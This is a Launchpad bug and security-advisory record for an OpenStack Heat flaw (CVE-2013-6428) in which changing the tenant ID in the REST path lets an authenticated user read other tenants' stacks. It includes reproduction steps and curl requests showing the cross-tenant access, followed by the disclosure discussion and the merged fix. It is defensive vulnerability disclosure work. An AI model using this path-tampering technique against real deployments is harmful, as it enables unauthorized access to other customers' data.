[OSSA 2013-035] Heat ReST API doesn't respect tenant scoping (CVE-2013-6428)

Bug #1256983 reported by Steven Hardy
268
This bug affects 1 person
Affects Status Importance Assigned to Milestone
OpenStack Heat
Fix Released
Critical
Steven Hardy
Grizzly
Won't Fix
Critical
Steven Hardy
Havana
Fix Released
Critical
Steven Hardy
OpenStack Security Advisory
Fix Released
Critical
Jeremy Stanley

Bug Description

While working on the request-scoping-policy blueprint, I've discovered a flaw in the way the ReST API handles the tenant_id that is part of the request path:

https://github.com/openstack/heat/blob/master/heat/api/openstack/v1/util.py#L29

Here we incorrectly override the request context tenant_id (which is what we get from the keystone auth_token middleware) with the tenant_id in the request path.

This has the very bad side effect of meaning that anyone who can authenticate with the Heat ReST API can just change the path and trivially bypass the tenant scoping of the request.

Steps to reproduce:

- Optionally set token_format = UUID in /etc/keystone/keystone.conf to make tokens easier to cut/paste
- Create two users, User1 and User2, in two different tenants
- Create some heat stacks with each user
- Do heat --debug stack-list with each user and note the stack IDs
- Copy one of the curl commands and modify the path to point at the other tenant
- Observe that e.g User1 can retrieve stacks from User2's tenant

# keystone user-get User1
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 36686aebcb0347c9a3bfb117635d2bec |
| name | User1 |
| tenantId | 0809343a8f9e4f07bce678855acef39a |
+----------+----------------------------------+

# keystone user-get User2
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 30c0207e25254a658297c7b242cfa9d7 |
| name | User2 |
| tenantId | e638f4841a764289babd2a91eb5f2eb4 |
+----------+----------------------------------+

(keystone_User1)]$ heat list
+--------------------------------------+------------+-----------------+----------------------+
| id | stack_name | stack_status | creation_time |
+--------------------------------------+------------+-----------------+----------------------+
| a6a13511-51b9-4b95-a3aa-dbd69cf2976f | blah | UPDATE_COMPLETE | 2013-11-18T15:56:55Z |
| 44eb22a2-832f-4b1d-97ea-c483947b4147 | blah2 | CREATE_COMPLETE | 2013-11-19T11:02:20Z |
+--------------------------------------+------------+-----------------+----------------------+

(keystone_User2)]$ heat list
+--------------------------------------+------------+-----------------+----------------------+
| id | stack_name | stack_status | creation_time |
+--------------------------------------+------------+-----------------+----------------------+
| d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb | blah3 | CREATE_COMPLETE | 2013-11-19T16:45:43Z |
+--------------------------------------+------------+-----------------+----------------------+

curl -i -X GET -H 'X-Auth-Token: 40ed9682a7f54235aa3be360622e6466' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'User-Agent: python-heatclient' http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks?
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 1085
Date: Mon, 02 Dec 2013 16:41:41 GMT

{"stacks": [{"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks/blah2/44eb22a2-832f-4b1d-97ea-c483947b4147", "rel": "self"}], "stack_status_reason": "Stack create completed successfully", "stack_name": "blah2", "creation_time": "2013-11-19T11:02:20Z", "updated_time": "2013-11-19T11:02:20Z", "stack_status": "CREATE_COMPLETE", "id": "44eb22a2-832f-4b1d-97ea-c483947b4147"}, {"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks/blah/a6a13511-51b9-4b95-a3aa-dbd69cf2976f", "rel": "self"}], "stack_status_reason": "Stack successfully updated", "stack_name": "blah", "creation_time": "2013-11-18T15:56:55Z", "updated_time": "2013-11-18T19:02:00Z", "stack_status": "UPDATE_COMPLETE", "id": "a6a13511-51b9-4b95-a3aa-dbd69cf2976f"}]}

$ curl -i -X GET -H 'X-Auth-Token: 40ed9682a7f54235aa3be360622e6466' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'User-Agent: python-heatclient' http://127.0.0.1:8004/v1/e638f4841a764289babd2a91eb5f2eb4/stacks?
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 554
Date: Mon, 02 Dec 2013 16:43:31 GMT

{"stacks": [{"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/e638f4841a764289babd2a91eb5f2eb4/stacks/blah3/d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb", "rel": "self"}], "stack_status_reason": "Stack create completed successfully", "stack_name": "blah3", "creation_time": "2013-11-19T16:45:43Z", "updated_time": "2013-11-19T16:45:43Z", "stack_status": "CREATE_COMPLETE", "id": "d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb"}]}

Note the exact same X-Auth-Token is used in both cases, one from User1, but we can list User2's stack just by changing the path :(

CVE References

Steven Hardy (shardy)
Changed in heat:
status: New → In Progress
assignee: nobody → Steven Hardy (shardy)
importance: Undecided → Critical
milestone: none → icehouse-1
Revision history for this message
Steven Hardy (shardy) wrote :

So the simplest possible fix is to remove the line which overwrites the context tenant_id:

https://github.com/openstack/heat/blob/master/heat/api/openstack/v1/util.py#L29

This just means the tenant_id in the path is ignored, and User1 always gets the same data regardless of the tenant specified in the path (solving the immediate problem)

However we should probably consider a more robust fix, where we deny any request where the tenant_id specified in the path doesn't match the tenant_id in the context, either directly in the API, or via a policy rule (I'm working on making the ReST API policy.json aware atm).

Revision history for this message
Kurt Seifried (kseifried) wrote :

Sounds like this issue needs a CVE, can anyone from the OpenStack VMT confirm? Thanks.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Steven: Does this affect Havana as well?

Kurt: Probably, but we usually don't file a formal CVE request until we bring the PTL up to speed on the issue and get a confirmation of impact.

Changed in ossa:
status: New → Incomplete
Revision history for this message
Steven Hardy (shardy) wrote :

Jeremy: Yes, this affects Havana - it actually looks like the bug has existed since we first implemented the ReST API, so Grizzly, Havana and master are all affected.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Thanks. Since Heat was first officially included in the OpenStack Havana release we'll just say "all supported versions" in the OSSA and include patches for stable/havana and master, but feel free to make a stable/grizzly backport if you want.

tags: added: grizzly-backport-potential havana-backport-potential
Revision history for this message
Steven Hardy (shardy) wrote :

This is an initial draft patch for discussion, still needs some test fixups to test_api_openstack_v1.py.

Looking at the tests explains why this issue slipped through - the tests assume the engine will reject the response due to invalid tenant, but we've erased the real tenant associated with the request by overwriting the context, so this can never be true.

This simple patch just raises HTTPForbidden if the context and path tenant_ids don't match, which is probably the easiest (to backport) solution. Then for master, we can move to potentially a more flexible policy based solution for Icehouse.

Revision history for this message
Zane Bitter (zaneb) wrote :

At the time this was written we were passing a username and password to the engine and checking credentials there; we had to add in the tenant from the URL because we didn't necessarily receive it in the request. Now that the only checking is done by the API middleware, this is obviously a horrible, horrible bug :(

The patch looks perfect for backporting; probably in the future we should refactor to do this check earlier and get rid of the tenant_local nonsense altogether.

+2

Revision history for this message
Steven Hardy (shardy) wrote :

@Zane: Thanks for the feedback - yeah +1 on removing tenant_local after we have the backports done - I'm thinking we can probably kill it during the move to policy based enforcement (have a new policy_enforce decorator), but that looks probably too messy to backport due to dependence on other recently merged changes.

New patch coming soon with fixed-up tests.

Revision history for this message
Steven Hardy (shardy) wrote :

Proposed patches for Master, Havana and Grizzly, with tests reworked

Revision history for this message
Steven Hardy (shardy) wrote :
Revision history for this message
Steven Hardy (shardy) wrote :
Revision history for this message
Steve Baker (steve-stevebaker) wrote :

Retargeting to i-2 for now so that i-1 can be branched

Changed in heat:
milestone: icehouse-1 → icehouse-2
Revision history for this message
Steven Hardy (shardy) wrote :

> Retargeting to i-2 for now so that i-1 can be branched

I find it extremely unfortunate and depressing that our srt process is so slow that we have to release a milestone build without this critical fix - how can this not be a release blocker? :(

Revision history for this message
Steve Baker (steve-stevebaker) wrote :

I did specifically point this bug out to Thierry. Now that milestone-proposed is branched I assume we can put this back on icehouse-1, and block release on it.

Changed in heat:
milestone: icehouse-2 → icehouse-1
Revision history for this message
Thierry Carrez (ttx) wrote :

SteveBaker: our process unfortunately calls for early disclosure to a number of stakeholders (like distros) so this can't hit a public repo until that embargo period is over (which takes at least 4 days). So this will be post-i1. No big deal anyway, since i1 is just a tag marking the end of a icehouse development period... what would be nice would be to get it in havana 2013.2.1 though (next week).

Changed in heat:
milestone: icehouse-1 → icehouse-2
Jeremy Stanley (fungi)
Changed in ossa:
status: Incomplete → Confirmed
assignee: nobody → Jeremy Stanley (fungi)
importance: Undecided → Critical
Revision history for this message
Jeremy Stanley (fungi) wrote :

Proposed impact description...
-----

Title: Heat ReST API doesn't respect tenant scoping
Reporter: Steven Hardy (Red Hat)
Products: Heat
Affects: All supported releases

Description:
Steven Hardy from Red Hat reported a vulnerability in the Heat REST API. By changing the request path, an authenticated client may override their tenant scope resulting in privilege escalation. Only setups exposing the Heat orchestration REST interface are affected.

Jeremy Stanley (fungi)
Changed in ossa:
status: Confirmed → In Progress
Revision history for this message
Grant Murphy (gmurphy) wrote :

+1

Revision history for this message
Jeremy Stanley (fungi) wrote :

Mmm... s/REST/ReST/ throughout the description section I guess, to match the title.

Jeremy Stanley (fungi)
summary: - Heat ReST API doesn't respect tenant scoping
+ Heat ReST API doesn't respect tenant scoping (CVE-2013-6428)
Jeremy Stanley (fungi)
Changed in ossa:
status: In Progress → Fix Committed
Revision history for this message
Jeremy Stanley (fungi) wrote : Re: Heat ReST API doesn't respect tenant scoping (CVE-2013-6428)

Scheduled advisory publication date is Wednesday, December 11, 2013 at 1500UTC (so as to fall before the 2013.2.1 point release). Patches will be pushed to review.openstack.org for last-minute approval shortly prior to that time.

Jeremy Stanley (fungi)
information type: Private Security → Public Security
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to heat (master)

Fix proposed to branch: master
Review: https://review.openstack.org/61455

Changed in heat:
assignee: Steven Hardy (shardy) → Jeremy Stanley (fungi)
Jeremy Stanley (fungi)
Changed in heat:
assignee: Jeremy Stanley (fungi) → nobody
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to heat (stable/havana)

Fix proposed to branch: stable/havana
Review: https://review.openstack.org/61456

Jeremy Stanley (fungi)
summary: - Heat ReST API doesn't respect tenant scoping (CVE-2013-6428)
+ [OSSA 2013-035] Heat ReST API doesn't respect tenant scoping
+ (CVE-2013-6428)
Changed in heat:
assignee: nobody → Steven Hardy (shardy)
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to heat (master)

Reviewed: https://review.openstack.org/61455
Committed: https://git.openstack.org/cgit/openstack/heat/commit/?id=759ee38c53a5e469b8333856e60a0827175457e7
Submitter: Jenkins
Branch: master

commit 759ee38c53a5e469b8333856e60a0827175457e7
Author: Steven Hardy <email address hidden>
Date: Mon Dec 2 23:59:19 2013 +0000

    Deny API requests where context doesn't match path

    We shouldn't overwrite the context tenant_id (which comes from the
    scope of the auth_token) with that from the path, instead raise a
    HTTPForbidden exception if the path-provided tenant_id doesn't match
    the context.

    Change-Id: Ib6fb9881103312f7492081a20178f12309f35d81
    Closes-Bug: #1256983

Changed in heat:
status: In Progress → Fix Committed
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to heat (stable/havana)

Reviewed: https://review.openstack.org/61456
Committed: https://git.openstack.org/cgit/openstack/heat/commit/?id=22f4fdafc0ac5cf86bd3b87faace5175fb8dc2c2
Submitter: Jenkins
Branch: stable/havana

commit 22f4fdafc0ac5cf86bd3b87faace5175fb8dc2c2
Author: Steven Hardy <email address hidden>
Date: Mon Dec 2 23:59:19 2013 +0000

    Deny API requests where context doesn't match path

    We shouldn't overwrite the context tenant_id (which comes from the
    scope of the auth_token) with that from the path, instead raise a
    HTTPForbidden exception if the path-provided tenant_id doesn't match
    the context.

    Change-Id: Ib6fb9881103312f7492081a20178f12309f35d81
    Closes-Bug: #1256983

Jeremy Stanley (fungi)
Changed in ossa:
status: Fix Committed → Fix Released
Thierry Carrez (ttx)
Changed in heat:
status: Fix Committed → Fix Released
Alan Pevec (apevec)
tags: removed: grizzly-backport-potential havana-backport-potential
Thierry Carrez (ttx)
Changed in heat:
milestone: icehouse-2 → 2014.1
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.